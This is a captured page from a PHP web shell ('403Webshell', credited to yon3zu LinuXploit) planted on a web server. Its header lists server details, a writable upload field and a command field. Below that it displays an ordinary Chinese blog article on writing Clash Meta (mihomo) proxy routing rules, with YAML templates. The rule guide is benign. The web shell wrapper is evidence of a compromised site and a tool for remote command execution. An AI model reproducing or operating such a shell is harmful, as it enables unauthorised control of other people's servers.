403Webshell
Server IP : 172.104.253.219  /  Your IP : 216.73.216.244
Web Server : Apache/2.4.68 (Debian)
System : Linux f9626dc847bb 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.3.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/html/system/RPLfjOV/blog/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/system/RPLfjOV/blog/clash-meta-rules.html
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>2024 最新 Clash Meta 内核分流规则编写指南</title>
<meta name="keywords" content="Clash Meta,Clash Meta 规则,Clash Meta 分流规则,Rule Provider,mihomo 规则">
<meta name="description" content="2024 最新 Clash Meta 内核分流规则编写指南,讲解 Rule Provider、GEOIP、DOMAIN-SUFFIX、PROCESS-NAME 规则类型与优先级,提供可直接套用的规则模板。">
<meta name="robots" content="index,follow">
<link rel="canonical" href="https://flaitsk.com/blog/clash-meta-rules.html">
<link rel="stylesheet" href="/css/style.css">
</head>
<body>

<header class="site-header">
  <div class="container header-inner">
    <a class="brand" href="/"><span class="brand-dot"></span> Clash 智能路由</a>
    <nav class="top-nav" id="topNav">
      <a href="/">首页</a>
      <a href="/download.html">下载</a>
      <a href="/tutorial.html">教程</a>
      <a href="/blog.html">博客</a>
      <a href="/faq/connection-failed.html">常见问题</a>
    </nav>
    <button class="nav-toggle" id="navToggle" aria-label="菜单">☰</button>
  </div>
</header>

<div class="container" style="padding-top:24px">
  <p class="breadcrumb"><a href="/">首页</a> / <a href="/blog.html">技术博客</a> / Clash Meta 规则</p>
</div>

<section class="hero">
  <div class="container">
    <h1>2024 最新 Clash Meta 内核分流规则编写指南</h1>
    <p class="lead">Clash Meta(mihomo)规则更强大、维护更轻松。本文带你从零编写一套可长期维护的分流规则。</p>
  </div>
</section>

<section class="section">
  <div class="container article">
    <h2>为什么用 Clash Meta</h2>
    <p>Clash Meta(现多称 mihomo)在原版 Clash 基础上增强了协议支持、规则类型与外部规则集加载能力。对于需要精细化管理流量的用户,Meta 内核几乎是首选。</p>

    <h2>Rule Provider:规则集外部化</h2>
    <p>把规则写成外部文件并通过 URL 引用,订阅更新时规则也会自动同步,省去手动维护。</p>
    <pre>rule-providers:
  my-proxy:
    type: http
    behavior: domain
    url: "https://example.com/rules/proxy.txt"
    path: ./ruleset/proxy.yaml
    interval: 86400

rules:
  - RULE-SET,my-proxy,PROXY</pre>

    <h2>常用规则类型</h2>
    <ul>
      <li><code>DOMAIN</code>:精确匹配单个域名。</li>
      <li><code>DOMAIN-SUFFIX</code>:匹配域名后缀,如 <code>google.com</code> 会覆盖所有子域。</li>
      <li><code>DOMAIN-KEYWORD</code>:匹配域名中的关键字,较宽泛,谨慎使用。</li>
      <li><code>IP-CIDR</code> / <code>IP-CIDR6</code>:按 IP 段匹配。</li>
      <li><code>GEOIP</code>:按 GeoIP 数据库匹配地理位置。</li>
      <li><code>PROCESS-NAME</code>:按进程名匹配(TUN 模式下生效)。</li>
      <li><code>DST-PORT</code>:按目标端口匹配。</li>
    </ul>

    <h2>规则匹配优先级</h2>
    <p>Clash 从上到下逐条匹配,命中即停。建议顺序:</p>
    <ol>
      <li>广告拦截 / 局域网直连</li>
      <li>国内域名与 IP 直连</li>
      <li>指定应用或域名走代理</li>
      <li>GEOIP 分流兜底</li>
      <li>MATCH 最终规则</li>
    </ol>

    <h2>一份基础模板</h2>
    <pre>rules:
  - DOMAIN-SUFFIX,local,DIRECT
  - IP-CIDR,127.0.0.0/8,DIRECT
  - IP-CIDR,192.168.0.0/16,DIRECT
  - GEOIP,CN,DIRECT
  - GEOSITE,cn,DIRECT
  - MATCH,PROXY</pre>

    <h2>总结</h2>
    <p>写好规则的关键是:粒度合适、顺序正确、外部规则集定期更新。不要一味用 DOMAIN-KEYWORD 大包大揽,否则容易误判。</p>
    <p>延伸阅读:<a href="/tutorial/rule-proxy.html" style="color:var(--accent)">规则分流设置教程</a>、<a href="/compare/clash-vs-v2rayn.html" style="color:var(--accent)">Clash 与 v2rayN 对比</a>。</p>
  </div>
</section>

<footer class="site-footer">
  <div class="container footer-inner">
    <p><a href="/">Clash 智能路由加速器</a> · 全平台网络代理客户端</p>
    <p>本站为开源网络工具技术科普与教程站点,仅供学习与研究使用。请遵守所在地法律法规,合法合规使用。</p>
    <p class="copy">Copyright © 2024-2026 flaitsk.com 版权所有 · 皖ICP备2026019811号-1</p>
  </div>
</footer>

<script src="/js/main.js"></script>
</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit